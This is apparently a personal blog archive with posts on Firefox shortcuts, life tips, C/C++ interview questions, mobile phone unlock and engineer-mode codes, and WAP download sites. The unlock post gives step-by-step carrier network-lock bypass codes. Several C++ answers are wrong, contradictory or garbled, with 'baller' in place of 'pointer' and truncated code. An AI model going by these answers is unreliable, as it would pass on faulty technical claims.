pankaj kumar's blog

Firefox Shortcuts

2009-11-19T22:12:00.000-08:00

Firefox Shortcuts:

Ctrl+ B: Open bookmarks folder
Ctrl+ D: Bookmarks the current website
Ctrl+ K: Go to search field
Ctrl+ L: Go to URL field
Ctrl+ I: Opens bookmarks in left panel
Ctrl+ J: Opens the Download window
Ctrl+ F: Fine something in current page
Ctrl+ S: Saves the web page
Ctrl+ E: Go to search bar
Ctrl+ G: Opens previous conducted search
Ctrl+ W: Close current tab
Ctrl+ R: Reload the current Page
Ctrl+ + : Zoom in
Ctrl+ - : Zoom out
Ctrl+ 0 : Zoom Reset
Ctrl+ T: Opens a new tab
Ctrl+ U: View the page source/html code
Ctrl+ O: open a file
Ctrl+ P: Print the current web page
Ctrl+ A: Select all
Ctrl+ H: Show all History
Ctrl+ N: Opens a new window

40 Tips for Better Life - 2008

2008-06-14T21:07:00.000-07:00

1. Take a 10-30 minute walk every day. And while you walk, smile. It is the ultimate anti-depressant.
2. Sit in silence for at least 10 minutes each day.
3. Buy a DVR and tape your late night shows and get more sleep.
4. When you wake up in the morning complete the following statement, ‘My purpose is to __________
today.’
5. Live with the 3 E’s — Energy, Enthusiasm, and Empathy.
6. Play more games and read more books than you did in 2007.
7. Make time to practice meditation, and prayer. They provide us with daily fuel for our busy lives.
8. Spend time with people over the age of 70 and under the age of 6.
9. Dream more while you are awake.
10. Eat more foods that grow on trees and plants and eat less food that is manufactured in plants.
11. Drink green tea and plenty of water. Eat blueberries, wild Alaskan salmon, broccoli, almonds &
walnuts.
12. Try to make at least three people smile each day.
13. Clear clutter from your house, your car, your desk and let new and flowing energy into your life.
14. Don’t waste your precious energy on gossip, OR issues of the past, negative thoughts or things you
cannot control. Instead invest your energy in the positive present moment.
15. Realize that life is a school and you are here to learn. Problems are simply part of the curriculum
that appear and fade away like algebra class but the lessons you learn will last a lifetime.
16. Eat breakfast like a king, lunch like a prince and dinner like a college kid with a maxed out charge
card.
17. Smile and laugh more. It will keep the nagative blues away.
18. Life isn’t fair, but it’s still good.
19. Life is too short to waste time hating anyone.
20. Don’t take yourself so seriously. No one else does.
21. You don’t have to win every argument. Agree to disagree.
22. Make peace with your past so it won’t spoil the present.
23. Don’t compare your life to others’. You have no idea what their journey is all about.
24. No one is in charge of your happiness except you.
25. Frame every so-called disaster with these words: ‘In five years, will this matter?’
26. Forgive everyone for everything.
27. What other people think of you is none of your business.
28. Remember God heals everything.
29. However good or bad a situation is, it will change.
30. Your job won’t take care of you when you are sick. Your friends will. Stay in touch.
31. Get rid of anything that isn’t useful, beautiful or joyful.
32. Envy is a waste of time. You already have all you need.
33. The best is yet to come.
34. No matter how you feel, get up, dress up and show up.
35. Do the right thing!
36. Call your family often.
37. Each night before you go to bed complete the following statements: I am thankful for _______.
Today I accomplished ____.
38. Remember that you are too blessed to be stressed.
39. Enjoy the ride. Remember this is not Disney World and you certainly don’t want a fast pass. You
only have one ride through life so make the most of it and enjoy the ride.
40. Laugh when you can, apologize when you should, and let go of what you can’t change

Format your Nokia phone

2008-06-07T12:41:00.000-07:00

Got a Nokia series 60 2nd edition phone? ok then you are at right place just read on.
When you are new to this phone it may be possible that you done something wrong to the phone and its system files when you were using a file manager or something caused by the installation of a software. then it need its software again... It can be also done by a simple step.
1. Backup ur all data and contacts
2. Switch off the phone
3. Remove the memory card and sim.
4. Press and hold on the buttons *,the call key and the numeral button 3.
5. While holding the above three buttons switch on the phone
6. Keep on holding while it appears a black band written formatting
7. Wait till it completes
8. It asks for sim card
9. U r done

it works on the phones like nokia 6600,3230,7610...a long list is there. Now enjoy a new phone.

Interview Questions in C/C++ Programming

2008-06-07T12:33:00.000-07:00

What is encapsulation??

Containing and hiding information about an object, such as internal data structures and code. Encapsulation isolates the internal complexity of an object's operation from the rest of the application. For example, a client component asking for net revenue from a business object need not know the data's origin.

What is inheritance?

Inheritance allows one class to reuse the state and behavior of another class. The derived class inherits the properties and method implementations of the base class and extends it by overriding methods and adding additional properties and methods.

What is Polymorphism??

Polymorphism allows a client to treat different objects in the same way even if they were created from different classes and exhibit different behaviors.

You can use implementation inheritance to achieve polymorphism in languages such as C++ and Java.

Base class object's pointer can invoke methods in derived class objects.

You can also achieve polymorphism in C++ by function overloading and operator overloading.

What is constructor or ctor?

Constructor creates an object and initializes it. It also creates vtable for virtual functions. It is different from other methods in a class.

What is destructor?

Destructor usually deletes any extra resources allocated by the object.

What is default constructor?

Constructor with no arguments or all the arguments has default values.

What is copy constructor?

Constructor which initializes the it's object member variables ( by shallow copying) with another object of the same class. If you don't implement one in your class then compiler implements one for you.

for example:
Boo Obj1(10); // calling Boo constructor

Boo Obj2(Obj1); // calling boo copy constructor
Boo Obj2 = Obj1;// calling boo copy constructor

When are copy constructors called?

Copy constructors are called in following cases:
a) when a function returns an object of that class by value
b) when the object of that class is passed by value as an argument to a function
c) when you construct an object based on another object of the same class
d) When compiler generates a temporary object

What is assignment operator?

Default assignment operator handles assigning one object to another of the same class. Member to member copy (shallow copy)

What are all the implicit member functions of the class? Or what are all the functions which compiler implements for us if we don't define one.??

default ctor
copy ctor
assignment operator
default destructor
address operator

What is conversion constructor?

constructor with a single argument makes that constructor as conversion ctor and it can be used for type conversion.

for example:

class Boo
{
public:
Boo( int i );
};

Boo BooObject = 10 ; // assigning int 10 Boo object

What is conversion operator??

class can have a public method for specific data type conversions.

for example:
class Boo
{
double value;
public:
Boo(int i )
operator double()
{
return value;
}
};

Boo BooObject;

double i = BooObject; // assigning object to variable i of type double. now conversion operator gets called to assign the value.

What is diff between malloc()/free() and new/delete?

malloc allocates memory for object in heap but doesn't invoke object's constructor to initiallize the object.

new allocates memory and also invokes constructor to initialize the object.

malloc() and free() do not support object semantics
Does not construct and destruct objects
string * ptr = (string *)(malloc (sizeof(string)))
Are not safe
Does not calculate the size of the objects that it construct
Returns a pointer to void
int *p = (int *) (malloc(sizeof(int)));
int *p = new int;
Are not extensible
new and delete can be overloaded in a class

"delete" first calls the object's termination routine (i.e. its destructor) and then releases the space the object occupied on the heap memory. If an array of objects was created using new, then delete must be told that it is dealing with an array by preceding the name with an empty []:-

Int_t *my_ints = new Int_t[10];

...

delete []my_ints;

what is the diff between "new" and "operator new" ?

"operator new" works like malloc.

What is difference between template and macro??

There is no way for the compiler to verify that the macro parameters are of compatible types. The macro is expanded without any special type checking.

If macro parameter has a postincremented variable ( like c++ ), the increment is performed two times.

Because macros are expanded by the preprocessor, compiler error messages will refer to the expanded macro, rather than the macro definition itself. Also, the macro will show up in expanded form during debugging.

for example:

Macro:

#define min(i, j) (i <>

template:
template
T min (T i, T j)
{
return i < j ? i : j;
}

What are C++ storage classes?

auto
register
static
extern

auto: the default. Variables are automatically created and initialized when they are defined and are destroyed at the end of the block containing their definition. They are not visible outside that block

register: a type of auto variable. a suggestion to the compiler to use a CPU register for performance

static: a variable that is known only in the function that contains its definition but is never destroyed and retains its value between calls to that function. It exists from the time the program begins execution

extern: a static variable whose definition and placement is determined when all object and library modules are combined (linked) to form the executable code file. It can be visible outside the file where it is defined.

What are storage qualifiers in C++ ?

They are..

const
volatile
mutable

Const keyword indicates that memory once initialized, should not be altered by a program.

volatile keyword indicates that the value in the memory location can be altered even though nothing in the program
code modifies the contents. for example if you have a pointer to hardware location that contains the time, where hardware changes the value of this pointer variable and not the program. The intent of this keyword to improve the optimization ability of the compiler.

mutable keyword indicates that particular member of a structure or class can be altered even if a particular structure variable, class, or class member function is constant.

struct data
{
char name[80];
mutable double salary;
}

const data MyStruct = { "Satish Shetty", 1000 }; //initlized by complier

strcpy ( MyStruct.name, "Shilpa Shetty"); // compiler error
MyStruct.salaray = 2000 ; // complier is happy allowed

What is reference ??

reference is a name that acts as an alias, or alternative name, for a previously defined variable or an object.

prepending variable with "&" symbol makes it as reference.

for example:

int a;
int &b = a;

What is passing by reference?

Method of passing arguments to a function which takes parameter of type reference.

for example:

void swap( int & x, int & y )
{
int temp = x;
x = y;
y = temp;
}

int a=2, b=3;

swap( a, b );

Basically, inside the function there won't be any copy of the arguments "x" and "y" instead they refer to original variables a and b. so no extra memory needed to pass arguments and it is more efficient.

When do use "const" reference arguments in function?

a) Using const protects you against programming errors that inadvertently alter data.
b) Using const allows function to process both const and non-const actual arguments, while a function without const in the prototype can only accept non constant arguments.
c) Using a const reference allows the function to generate and use a temporary variable appropriately.

When are temporary variables created by C++ compiler?

Provided that function parameter is a "const reference", compiler generates temporary variable in following 2 ways.

a) The actual argument is the correct type, but it isn't Lvalue

double Cube(const double & num)
{
num = num * num * num;
return num;

}

double temp = 2.0;
double value = cube(3.0 + temp); // argument is a expression and not a Lvalue;

b) The actual argument is of the wrong type, but of a type that can be converted to the correct type

long temp = 3L;
double value = cuberoot ( temp); // long to double conversion

What is virtual function?

When derived class overrides the base class method by redefining the same function, then if client wants to access redefined the method from derived class through a pointer from base class object, then you must define this function in base class as virtual function.

class parent
{
void Show()
{
cout << "i'm parent" << endl;
}
};

class child: public parent
{
void Show()
{
cout << "i'm child" << endl;
}

};

parent * parent_object_ptr = new child;

parent_object_ptr->show() // calls parent->show() i

now we goto virtual world...

class parent
{
virtual void Show()
{
cout << "i'm parent" << endl;
}
};

class child: public parent
{
void Show()
{
cout << "i'm child" << endl;
}

};

parent * parent_object_ptr = new child;

parent_object_ptr->show() // calls child->show()

What is pure virtual function? or what is abstract class?

When you define only function prototype in a base class without implementation and do the complete implementation in derived class. This base class is called abstract class and client won't able to instantiate an object using this base class.

You can make a pure virtual function or abstract class this way..

class Boo
{
void foo() = 0;
}

Boo MyBoo; // compilation error

What is Memory alignment??

The term alignment primarily means the tendency of an address pointer value to be a multiple of some power of two. So a pointer with two byte alignment has a zero in the least significant bit. And a pointer with four byte alignment has a zero in both the two least significant bits. And so on. More alignment means a longer sequence of zero bits in the lowest bits of a pointer.

What problem does the namespace feature solve?

Multiple providers of libraries might use common global identifiers causing a name collision when an application tries to link with two or more such libraries. The namespace feature surrounds a library's external declarations with a unique namespace that eliminates the potential for those collisions.

namespace [identifier] { namespace-body }

A namespace declaration identifies and assigns a name to a declarative region.
The identifier in a namespace declaration must be unique in the declarative region in which it is used. The identifier is the name of the namespace and is used to reference its members.

What is the use of 'using' declaration?

A using declaration makes it possible to use a name from a namespace without the scope operator.

What is an Iterator class?

A class that is used to traverse through the objects maintained by a container class. There are five categories of iterators: input iterators, output iterators, forward iterators, bidirectional iterators, random access. An iterator is an entity that gives access to the contents of a container object without violating encapsulation constraints. Access to the contents is granted on a one-at-a-time basis in order. The order can be storage order (as in lists and queues) or some arbitrary order (as in array indices) or according to some ordering relation (as in an ordered binary tree). The iterator is a construct, which provides an interface that, when called, yields either the next element in the container, or some value denoting the fact that there are no more elements to examine. Iterators hide the details of access to and update of the elements of a container class. Something like a pointer.

What is a dangling pointer?

A dangling pointer arises when you use the address of an object after its lifetime is over. This may occur in situations like returning addresses of the automatic variables from a function or using the address of the memory block after it is freed.

What do you mean by Stack unwinding?

It is a process during exception handling when the destructor is called for all local objects in the stack between the place where the exception was thrown and where it is caught.

Name the operators that cannot be overloaded??

sizeof, ., .*, .->, ::, ?:

What is a container class? What are the types of container classes?

A container class is a class that is used to hold objects in memory or external storage. A container class acts as a generic holder. A container class has a predefined behavior and a well-known interface. A container class is a supporting class whose purpose is to hide the topology used for maintaining the list of objects in memory. When a container class contains a group of mixed objects, the container is called a heterogeneous container; when the container is holding a group of objects that are all the same, the container is called a homogeneous container.

What is inline function??

The __inline keyword tells the compiler to substitute the code within the function definition for every instance of a function call. However, substitution occurs only at the compiler's discretion. For example, the compiler does not inline a function if its address is taken or if it is too large to inline.

What is overloading??

With the C++ language, you can overload functions and operators. Overloading is the practice of supplying more than one definition for a given function name in the same scope.

- Any two functions in a set of overloaded functions must have different argument lists.
- Overloading functions with argument lists of the same types, based on return type alone, is an error.

What is Overriding?

To override a method, a subclass of the class that originally declared the method must declare a method with the same name, return type (or a subclass of that return type), and same parameter list.
The definition of the method overriding is:
· Must have same method name.
· Must have same data type.
· Must have same argument list.
Overriding a method means that replacing a method functionality in child class. To imply overriding functionality we need parent and child classes. In the child class you define the same method signature as one defined in the parent class.

What is "this" pointer?

The this pointer is a pointer accessible only within the member functions of a class, struct, or union type. It points to the object for which the member function is called. Static member functions do not have a this pointer.

When a nonstatic member function is called for an object, the address of the object is passed as a hidden argument to the function. For example, the following function call

myDate.setMonth( 3 );

can be interpreted this way:

setMonth( &myDate, 3 );

The object's address is available from within the member function as the this pointer. It is legal, though unnecessary, to use the this pointer when referring to members of the class.

What happens when you make call "delete this;" ??

The code has two built-in pitfalls. First, if it executes in a member function for an extern, static, or automatic object, the program will probably crash as soon as the delete statement executes. There is no portable way for an object to tell that it was instantiated on the heap, so the class cannot assert that its object is properly instantiated. Second, when an object commits suicide this way, the using program might not know about its demise. As far as the instantiating program is concerned, the object remains in scope and continues to exist even though the object did itself in. Subsequent dereferencing of the pointer can and usually does lead to disaster.

You should never do this. Since compiler does not know whether the object was allocated on the stack or on the heap, "delete this" could cause a disaster.

How virtual functions are implemented C++?

Virtual functions are implemented using a table of function pointers, called the vtable. There is one entry in the table per virtual function in the class. This table is created by the constructor of the class. When a derived class is constructed, its base class is constructed first which creates the vtable. If the derived class overrides any of the base classes virtual functions, those entries in the vtable are overwritten by the derived class constructor. This is why you should never call virtual functions from a constructor: because the vtable entries for the object may not have been set up by the derived class constructor yet, so you might end up calling base class implementations of those virtual functions

What is name mangling in C++??

The process of encoding the parameter types with the function/method name into a unique name is called name mangling. The inverse process is called demangling.

For example Foo::bar(int, long) const is mangled as `bar__C3Fooil'.
For a constructor, the method name is left out. That is Foo::Foo(int, long) const is mangled as `__C3Fooil'.

What is the difference between a pointer and a reference?

A reference must always refer to some object and, therefore, must always be initialized; pointers do not have such restrictions. A pointer can be reassigned to point to different objects while a reference always refers to an object with which it was initialized.

How are prefix and postfix versions of operator++() differentiated?

The postfix version of operator++() has a dummy parameter of type int. The prefix version does not have dummy parameter.

What is the difference between const char *myPointer and char *const myPointer?

Const char *myPointer is a non constant pointer to constant data; while char *const myPointer is a constant pointer to non constant data.

How can I handle a constructor that fails?

throw an exception. Constructors don't have a return type, so it's not possible to use return codes. The best way to signal constructor failure is therefore to throw an exception.

How can I handle a destructor that fails?

Write a message to a log-file. But do not throw an exception.
The C++ rule is that you must never throw an exception from a destructor that is being called during the "stack unwinding" process of another exception. For example, if someone says throw Foo(), the stack will be unwound so all the stack frames between the throw Foo() and the } catch (Foo e) { will get popped. This is called stack unwinding.
During stack unwinding, all the local objects in all those stack frames are destructed. If one of those destructors throws an exception (say it throws a Bar object), the C++ runtime system is in a no-win situation: should it ignore the Bar and end up in the } catch (Foo e) { where it was originally headed? Should it ignore the Foo and look for a } catch (Bar e) { handler? There is no good answer -- either choice loses information.
So the C++ language guarantees that it will call terminate() at this point, and terminate() kills the process. Bang you're dead.

What is Virtual Destructor?

Using virtual destructors, you can destroy objects without knowing their type - the correct destructor for the object is invoked using the virtual function mechanism. Note that destructors can also be declared as pure virtual functions for abstract classes.

if someone will derive from your class, and if someone will say "new Derived", where "Derived" is derived from your class, and if someone will say delete p, where the actual object's type is "Derived" but the pointer p's type is your class.

Can you think of a situation where your program would crash without reaching the breakpoint which you set at the beginning of main()?

C++ allows for dynamic initialization of global variables before main() is invoked. It is possible that initialization of global will invoke some function. If this function crashes the crash will occur before main() is entered.

Name two cases where you MUST use initialization list as opposed to assignment in constructors.

Both non-static const data members and reference data members cannot be assigned values; instead, you should use initialization list to initialize them.

Can you overload a function based only on whether a parameter is a value or a reference?

No. Passing by value and by reference looks identical to the caller.

What are the differences between a C++ struct and C++ class?

The default member and base class access specifiers are different.

The C++ struct has all the features of the class. The only differences are that a struct defaults to public member access and public base class inheritance, and a class defaults to the private access specifier and private base class inheritance.

What does extern "C" int func(int *, Foo) accomplish?

It will turn off "name mangling" for func so that one can link to code compiled by a C compiler.

How do you access the static member of a class?

What is multiple inheritance(virtual inheritance)? What are its advantages and disadvantages?

Multiple Inheritance is the process whereby a child can be derived from more than one parent class. The advantage of multiple inheritance is that it allows a class to inherit the functionality of more than one base class thus allowing for modeling of complex relationships. The disadvantage of multiple inheritance is that it can lead to a lot of confusion(ambiguity) when two base classes implement a method with the same name.

What are the access privileges in C++? What is the default access level?

The access privileges in C++ are private, public and protected. The default access level assigned to members of a class is private. Private members of a class are accessible only within the class and by friends of the class. Protected members are accessible by the class itself and it's sub-classes. Public members of a class can be accessed by anyone.

What is a nested class? Why can it be useful?

A nested class is a class enclosed within the scope of another class. For example:

// Example 1: Nested class
//
class OuterClass
{
class NestedClass
{
// ...
};
// ...
};
Nested classes are useful for organizing code and controlling access and dependencies. Nested classes obey access rules just like other parts of a class do; so, in Example 1, if NestedClass is public then any code can name it as OuterClass::NestedClass. Often nested classes contain private implementation details, and are therefore made private; in Example 1, if NestedClass is private, then only OuterClass's members and friends can use NestedClass.

When you instantiate as outer class, it won't instantiate inside class.

What is a local class? Why can it be useful?

local class is a class defined within the scope of a function -- any function, whether a member function or a free function. For example:

// Example 2: Local class
//
int f()
{
class LocalClass
{
// ...
};
// ...
};
Like nested classes, local classes can be a useful tool for managing code dependencies.

Can a copy constructor accept an object of the same class as parameter, instead of reference of the object?

No. It is specified in the definition of the copy constructor itself. It should generate an error if a programmer specifies a copy constructor with a first argument that is an object and not a reference

Interview questions asked in C/ C++

2008-06-07T12:20:00.000-07:00

1. Is it possible to have Virtual Constructor? If yes, how? If not, Why not possible ?

Ans:

There is nothing like Virtual Constructor. The Constructor cant be virtual as the constructor is a code which is responsible for creating a instance of a class and it cant be delegated to any other object by virtual keyword means.

2. What about Virtual Destructor?

Ans:

Yes there is a Virtual Destructor. A destructor can be virtual as it is possible as at runtime depending on the type of object baller is balling to , proper destructor will be called.

3. What is Pure Virtual Function? Why and when it is used ?
Ans:

The abstract class whose pure virtual method has to be implemented by all the classes which derive on these. Otherwise it would result in a compilation error.
This construct should be used when one wants to ensure that all the derived classes implement the method defined as pure virtual in base class.

4. What is problem with Runtime type identification?
Ans:

The run time type identification comes at a cost of performance penalty. Compiler maintains the class.

5. How Virtual functions call up is maintained?
Ans:

Through Look up tables added by the compile to every class image. This also leads to performance penalty.

6. Can inline functions have a recursion?
Ans:

No.
Syntax wise It is allowed. But then the function is no longer Inline. As the compiler will never know how deep the recursion is at compilation time.

7. How do you link a C++ program to C functions?
Ans:

By using the extern "C" linkage specification around the C function declarations.
Programmers should know about mangled function names and type-safe linkages. Then they should explain how the extern "C" linkage specification statement turns that feature off during compilation so that the linker properly links function calls to C functions.

8. Explain the scope resolution operator?
Ans:

It permits a program to reference an identifier in the global scope that has been hidden by another identifier with the same name in the local scope.

9. How many ways are there to initialize an int with a constant?
Ans:

1. int foo = 123;
Ans:

2. int bar(123);

10. What is your reaction to this line of code? delete this;
Ans:

It is not a good programming Practice.
A good programmer will insist that you should absolutely never use the statement if the class is to be used by other programmers and instantiated as static, extern, or automatic objects. That much should be obvious.
The code has two built-in pitfalls. First, if it executes in a member function for an extern, static, or automatic object, the program will probably crash as soon as the delete statement executes. There is no portable way for an object to tell that it was instantiated on the heap, so the class cannot assert that its object is properly instantiated. Second, when an object commits suicide this way, the using program might not know about its demise. As far as the instantiating program is concerned, the object remains in scope and continues to exist even though the object did itself in. Subsequent dereferencing of the baller can and usually does lead to disaster. I think that the language rules should disallow the idiom, but that's another matter.

11. What is the difference between a copy constructor and an overloaded assignment operator?
Ans:

A copy constructor constructs a new object by using the content of the argument object. An overloaded assignment operator assigns the contents of an existing object to another existing object of the same class.

12. When should you use multiple inheritance?
Ans:

There are three acceptable answers:- "Never," "Rarely," and "When the problem domain cannot be accurately modeled any other way."

Consider an Asset class, Building class, Vehicle class, and CompanyCar class. All company cars are vehicles. Some company cars are assets because the organizations own them. Others might be leased. Not all assets are vehicles. Money accounts are assets. Real estate holdings are assets. Some real estate holdings are buildings. Not all buildings are assets. Ad infinitum. When you diagram these relationships, it becomes apparent that multiple inheritance is a likely and intuitive way to model this common problem domain. The applicant should understand, however, that multiple inheritance, like a chainsaw, is a useful tool that has its perils, needs respect, and is best avoided except when nothing else will do.

13. What is a virtual destructor?
Ans:

The simple answer is that a virtual destructor is one that is declared with the virtual attribute.
The behavior of a virtual destructor is what is important. If you destroy an object through a baller or reference to a base class, and the base-class destructor is not virtual, the derived-class destructors are not executed, and the destruction might not be comple

14. Can a constructor throw a exception? How to handle the error when the constructor fails?
Ans:

The constructor never throws a error.

15. What are the debugging methods you use when came across a problem?
Debugging with tools like :

Ans:

GDB, DBG, Forte, Visual Studio.

Analyzing the Core dump.

Using tusc to trace the last system call before crash.

Putting Debug statements in the program source code.

16. How the compilers arranges the various sections in the executable image?
Ans:

The executable had following sections:-

Data Section (uninitialized data variable section, initialized data variable section )

Code Section

Remember that all static variables are allocated in the initialized variable section.

17. Explain the ISA and HASA class relationships. How would you implement each in a class design?
Ans:

A specialized class "is" a specialization of another class and, therefore, has the ISA relationship with the other class.
This relationship is best implemented by embedding an object of the Salary class in the Employee class.

18. When is a template a better solution than a base class?
Ans:

When you are designing a generic class to contain or otherwise manage objects of other types, when the format and behavior of those other types are unimportant to their containment or management, and particularly when those other types are unknown (thus, the generality) to the designer of the container or manager class.

19. What are the differences between a C++ struct and C++ class?
Ans:

The default member and base-class access specifies are different.
This is one of the commonly misunderstood aspects of C++. Believe it or not, many programmers think that a C++ struct is just like a C struct, while a C++ class has inheritance, access specifies, member functions, overloaded operators, and so on. Actually, the C++ struct has all the features of the class. The only differences are that a struct defaults to public member access and public base-class inheritance, and a class defaults to the private access specified and private base-class inheritance.

20. How do you know that your class needs a virtual destructor?
Ans:

If your class has at least one virtual function, you should make a destructor for this class virtual. This will allow you to delete a dynamic object through a baller to a base class object. If the destructor is non-virtual, then wrong destructor will be invoked during deletion of the dynamic object.

21. What is the difference between new/delete and malloc/free?
Ans:

Malloc/free do not know about constructors and destructors. New and delete create and destroy objects, while malloc and free allocate and deallocate memory.

22. What happens when a function throws an exception that was not specified by an exception specification for this function?
Ans:

Unexpected() is called, which, by default, will eventually trigger abort().

23. Can you think of a situation where your program would crash without reaching the breakball, which you set at the beginning of main()?
Ans:

24. What issue do auto_ptr objects address?
Ans:

If you use auto_ptr objects you would not have to be concerned with heap objects not being deleted even if the exception is thrown.

25. Is there any problem with the following:
Ans:

char *a=NULL; char& p = *a;?
The result is undefined. You should never do this. A reference must always refer to some object.

26. Why do C++ compilers need name mangling?
Ans:

Name mangling is the rule according to which C++ changes function's name into function signature before passing that function to a linker. This is how the linker differentiates between different functions with the same name.

27. Is there anything you can do in C++ that you cannot do in C?

Ans:

No. There is nothing you can do in C++ that you cannot do in C. After all you can write a C++ compiler in C

What are the major differences between C and C++?

What are the differences between new and malloc?
What is the difference between delete and delete[]?
What are the differences between a struct in C and in C++?
What are the advantages/disadvantages of using #define?
What are the advantages/disadvantages of using inline and const?

What is the difference between a baller and a reference?

When would you use a baller? A reference?
What does it mean to take the address of a reference?

What does it mean to declare a function or variable as static?
What is the order of initalization for data?
What is name mangling/name decoration?

What kind of problems does name mangling cause?
How do you work around them?

What is a class?

What are the differences between a struct and a class in C++?
What is the difference between public, private, and protected access?
For class CFoo { }; what default methods will the compiler generate for you>?
How can you force the compiler to not generate them?
What is the purpose of a constructor? Destructor?
What is a constructor initializer list?
When must you use a constructor initializer list?
What is a:

Constructor?
Destructor?
Default constructor?
Copy constructor?
Conversion constructor?

What does it mean to declare a...

member function as virtual?
member function as static?
member function as static?
member variable as static?
destructor as static?

Can you explain the term "resource acquisition is initialization?"
What is a "pure virtual" member function?
What is the difference between public, private, and protected inheritance?
What is virtual inheritance?
What is placement

new?

What is the difference between

operator new

and the

new

operator?

What is exception handling?

Explain what happens when an exception is thrown in C++.
What happens if an exception is not caught?
What happens if an exception is throws from an object's constructor?
What happens if an exception is throws from an object's destructor?
What are the costs and benefits of using exceptions?
When would you choose to return an error code rather than throw an exception?

What is a template?
What is partial specialization or template specialization?
How can you force instantiation of a template?
What is an iterator?
What is an algorithm (in terms of the STL/C++ standard library)?
What is

std::auto_ptr?

What is wrong with this statement?

std::auto_ptr ptr(new char[10]);

It is possible to build a C++ compiler on top of a C compiler. How would you do this?

ALL NEW MOBILE UNLOCK CODE !!

2008-05-23T14:51:00.000-07:00

SAMSUNG

t 209 unlock 100%ok
try it:Make sure to use a SIM card that is not accepted by that phone!

Enter reset code first?
*2767*3855# let it reboot

then enter...
*7465625*638*00000000*00000000# (to change NCK code to 00000000)

then enter...
#7465625*638*00000000# (to permanently unlock the phone

D807 NETWORK LOCK
I have tested this with my D807 and it works.

1. If you have changed your phone password, change your password back to the default 8 zeros (00000000).
1a. NOTE (Modification here by my experience): Goto SETTINGS, SECURITY, then SIM LOCK and disable this before proceeding.
2. Put a SIM card that is from a network other than the one your phone is locked to (I used a TMOBILE card from my buddy Darin)
3. When Incorrect SIM (I got invalid card and there was a sim card graphic spinning) error comes up, type *#9998*3323#.
4. White screen will appear with an exit option. Press the right softkey. (I ended up pushing the down key to get a menu)
5. From the menu that appears, select the Malloc Fail option. This will reboot the phone and the normal service screens will appear.
6. Type *0141# and then press the green call key. "Personalization" or "Personalized" will appear.
7. Turn off your phone and put the original SIM back in.
8. Turn on your phone. You will receive a prompt to enter a password.
9. Type 8 zeros (00000000) (This is because the SIM LOCK Mentioned earlier gets switched back on)
10. Completed. You have now unlocked your phone.

D807 CONTACT TRANSFER
.....................
I did some searching and found out that with the studio software from samsung you are able to edit and move contacts from your phone to the sim and back. Or copy from the phone and put them on the sim card. Just thought you all should know as there is no menu option on the phone.

************************************************** **************************************************

SPICE:
S404 enable COM port: *#42253646633# -> Device -> Set UART -> PS -> UART1/115200
S410 engineer mode: *#3646633#
S900 software version: *#8375#
S900 serial no: *#33778#
USER UNLOCK CODE:1122

************************************************** **************************************************
CHINESE MODELS:
default user code: 1122, 3344, 1234, 5678
Engineer mode: *#110*01#
Factory mode: *#987#
Enable COM port: *#110*01# -> Device -> Set UART -> PS Config -> UART1/115200
Restore factory settings: *#987*99#
LCD contrast: *#369#
software version: *#800#
software version: *#900#
set default language: *#0000# Send
set English language: *#0044# Send
set English language (new firmware): *#001# Send

************************************************** **************************************************
LG:
KG300 NVRAM format: 2945#*# -> menu 15

************************************************** **************************************************

SONY ERICSSON
I was speaking with a Sony Ericsson development tech today and he's given me some great codes!!

Write down your IMEI number. You can get this with the following:

*#06#

Then, you need to get into the Personalize menu with the following keypress:

< ** <

(Left, Star,Star, Left)

You then will need to select the Network at the top ( This will be locked )

It will ask for the code (the one that everyone asks for) and you need to enter in the following:

7993XXXX (where XXXX is the FIRST FOUR digits of your IMEI Number)

It will report an error and reduce your lock count by 1. Don't worry about this.

Repeat the process and enter the following:

6309XXXX ( where XXXX is the SECOND FOUR digits of your IMEI Number)

Again, it will reduce by one. Repeat again with the next two numbers:

093167XX ( where XX is the 9th and 10th digits of your IMEI Number)
323343XX ( where XX is the 11th and 12th digits of your IMEI Number)

And finally, you will need to repeat the process just one more time. This is very important, you will need to enter the following code:

XXXXYYYY - Where XXXX is the SECOND FOUR digits of your IMEI and YYYY is the FIRST FOUR digits of your IMEI.

You have to be careful, there are a few steps to follow, but these are the codes that the technicians use to unlock and test the phones that they have in for R & D.

I was very excited when I got these and it worked perfectly. I have unlocked two phones now, both K608i - One that was with Optus (Australia) and the other with Three (Australia) without any problem

************************************************** **************************************************

MOTOROLLA - F3:
Motofone F3 software version: **9999* Send
***300* Set SIM Pin
***310* / ***311* SIM Pin ON | OFF
***000* Reset Factory settings
***644* Set Voicemail number
***260* / ***261* Auto keypad lock ON | OFF
***510* / ***511* Voice Prompts ON | OFF
***160* / ***161* Restricted Calling (Phonebook only) ON | OFF
***200608* Send: software version
***200606* Send: software version
***200806* Send: flex version
***250* / ***251* Keypad tones ON | OFF
***470* Select time format
***500* /***501* Prepaid Balance Display ON | OFF
***520* Change language

L6 hold * 65512890

50 Free WAP sites to download mp3,wallpapers,ringtones !!

2008-05-23T14:18:00.000-07:00

Free WAP sites to download mp3,wallpapers,ringtones

Some Cool WapSites(some cool links starts after 48)

1.Prodigits 1
Prodigits is a dating and fun portal. You can find new friends, send picture messages, play games...
http://twilightwap.com/prodigits/

2.Prodigits 2
Prodigits is a dating and fun portal. You can find new friends, chat with them, send picture messages, play games, discuss in forums...
http://wappy.to/prodigits

3.Prodigits 3
Prodigits is a dating and fun portal. You can find new friends, chat with them, send picture messages, play games, discuss in forums...
http://twilightwap.com/prodigits/index.asp

4.Twilight Zone
Games, mobile zone, animations, humour, forums, chat, dating, e-mail, music, astrology, daily tips, links...
http://twilightwap.com/

5.5390.com
access ICQ using your WAP phone and desktop through 5390.com [by infoisLive.com]
http://5390.com/index.wml

6.A Greeting Cards Site - WapCards.com
A special greeting cards web site for WAP, accessible from a PC, mobile phone or any wireless device browser. Also Offers FREE SMS, Disucssion Forum, Latest WAP/WML News, Free Address Book.
http://www.wapcardz.com/a.php3

7.After the Beep
Celebrity and Comedy voicemails. All our voicemails are available on BT Call Minder and all UK mobile phone networks - so everyone can get a great new voicemail message.
http://www.afterthebeep4u.co.uk/menu.wml

8.Aston Magic
Professional magical entertainment. corporate magic, close-up magic, children's magical parties. Member of the magic circle and equity.
http://www.astonmagic.freeserve.co.uk/aston.wml

9.Cartoonscape
Wapisodes, gag cartoons, comic strips by professional cartoonists. Wap and web cartooning service available and lots more!
http://wap.cartoonscape.com

10.Club Nk format c:
We hate the school. Get our membership and have fun!
http://nkformatc.wapmatic.de

11.Curley's
A Place for Fun & Relaxation on the Web. Music. Jokes. Online Games. Cash & Prizes. News, Sports & Weather. Horoscopes. Just kick back and have a Good Time.
http://www.wapdrive.com/curleys/

12.Cytronix
Bildschirmschoner für Vereine
